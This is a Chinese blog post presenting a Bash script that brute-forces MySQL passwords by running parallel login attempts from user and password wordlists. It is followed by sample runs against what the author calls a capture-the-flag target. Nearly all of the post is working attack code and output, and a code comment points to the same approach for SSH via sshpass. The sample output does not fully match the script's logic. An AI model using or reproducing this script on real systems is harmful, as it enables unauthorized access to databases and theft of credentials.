当前位置: 首页 > article >正文

【MySql密码爆破脚本】用于其他爆破工具无法使用的情况下

1、脚本

#!/bin/bash

# 脚本参数
username=$1  # MySQL用户(或字典路径)
password=$2  # MySQL密码(或字典路径)
task_num=${3:-32}  # 并发数,默认 32

# 检查参数是否存在
if [ -z "$username" ] || [ -z "$password" ]; then
    echo "请输入用户名(或字典路径)和密码(或字典路径)"
    echo "用法: ./mysql_login.sh username password"
    exit 1
fi

# 并发数,默认 32
if ! [[ $task_num =~ ^[0-9]+$ ]]; then
    task_num=32
fi

# 读取用户字典文件
echo '读取用户信息...'
if [ -f "$username" ]; then
    usernames=$(cat $username)
else
    usernames=$(echo $username | cat)
fi
# 读取密码字典文件
echo '读取密码信息...'
if [ -f "$password" ]; then
    passwords=$(cat $password)
else
    passwords=$(echo $password | cat)
fi

# 尝试登录函数
function try_mysql_login() {
    user=$1
    pswd=$2
    # 尝试登录MySQL
    output=$(mysql -u $user -p$pswd -e "exit" 2>&1)

    # 检查输出是否包含错误信息
    if [[ ! $output =~ 'ERROR' ]]; then
        echo "成功登录,用户密码为 -> $user : $pswd"
        # 获取当前脚本的 PID
        script_pid=$(ps -p $$ | grep -v PID | awk '{print $1}')
        # 强制结束当前脚本
        kill -s 9 $script_pid
    fi
}

function print_progress() {
    # 打印进度,如果一直没有输出,时间太长会感觉卡死了
    numb=$1
    task=$2
    snum=$3
    user=$4
    pswd=$5
    if [ $(($numb % ($task * 10))) -eq 0 ]; then
        echo "尝试登录进度($numb/$snum) -> $user : $pswd"
    fi
}

# 循环遍历密码字典
pool=0
count=0
total_tasks=$(($(echo "$usernames" | wc -l) * $(echo "$passwords" | wc -l)))
for username in $usernames; do
    echo "尝试用户: $username"
    for password in $passwords; do
        count=$((count + 1))
        # 等待空闲进程池中的任务
        while [ $pool -ge $task_num ]; do
          wait -n
          ((pool--))
        done
        
        # 创建新任务并加入进程池
        {
          try_mysql_login $username $password
          # 在这里执行具体的登录操作,例如使用ssh命令
          # 示例:sshpass -p "$password" ssh "$user"@hostname command
        } &
        ((pool++))
        print_progress $count $task_num $total_tasks $username $password
    done
done

# 等待所有进程完成
wait

echo "密码爆破失败"
exit 1


2、使用方法

使用场景:是一次打靶经历,内网容器,无法连接外网,又有很多命令失效,无法使用专门的MySql爆破工具,本人又很菜,就只能想到自己写一个sh的爆破脚本了。

(base) ┌──(root㉿kali)-[/usr/local/soft/hack]
└─# ./mysql_login.sh mike /usr/share/wordlists/rockyou.txt 64                 
尝试用户: mike
尝试登录进度 -> mike : pebbles
尝试登录进度 -> mike : poohbear1
尝试登录进度 -> mike : jacqueline
尝试登录进度 -> mike : scarlett
密码爆破失败
mike@host2:/tmp$ ./mysql_login.sh user.txt top500.txt
尝试用户: root
尝试登录进度 -> mike : pebbles
尝试登录进度 -> mike : poohbear1
尝试用户: mike
尝试登录进度 -> mike : pebbles
成功登录,密码为: password

http://www.kler.cn/news/134859.html

相关文章:

  • 概念解析 | 网络安全数字孪生(Digital Twin of Cyber Security, DTCS)技术
  • 力扣刷题:1. 两数之和
  • windows通过命令给文件夹或文件增加权限
  • linux c与c++库互相调用
  • Nginx(反向代理,负载均衡,动静分离)
  • 7.22 SpringBoot项目实战【收藏 和 取消收藏】
  • OpenHarmony Meetup北京站招募令
  • 个人博客汇总
  • C语言-求一个整数储存在内存中的二进制中1的个数
  • 多对多的创建方式与Ajax
  • 适合您的智能手机的 7 款优秀手机数据恢复软件分享
  • 现货白银MACD实战分析例子
  • 【latex】公式推导等号对齐
  • servlet乱码问题
  • easyExcel注解详情
  • Python UI自动化 —— 关键字+excel表格数据驱动
  • “一键搜索,海量商品任你选!多平台聚合,购物更便捷!“
  • Django 入门学习总结2 创建一个投票系统
  • 【MySQL】CONCAT、CONCAT_WS、GROUP_CONCAT 函数用法
  • 【产品应用】一体化伺服电机在系留无人机中的应用
  • mfc140u.dll丢失的解决方法,以及mfc140u.dll解决方法的优缺点
  • debian/ubuntu/linux如何快速安装vscode
  • MySQL 8.0:性能优化与新功能
  • 解锁编程潜能:探索亚马逊CodeWhisperer,打造编程世界的声音引导者
  • Pyside6/PyQt6如何添加右键菜单,源码示例
  • mac环境使用sudo进行node包管理
  • 《QT从基础到进阶·三十》QVariant的基础用法
  • 什么是统一数据存储?
  • 【WSL/WSL2-Ubuntu】突破界限:不使用服务器在一台Windows搭建Nginx+FastDFS
  • 【计算机网络】P2 性能指标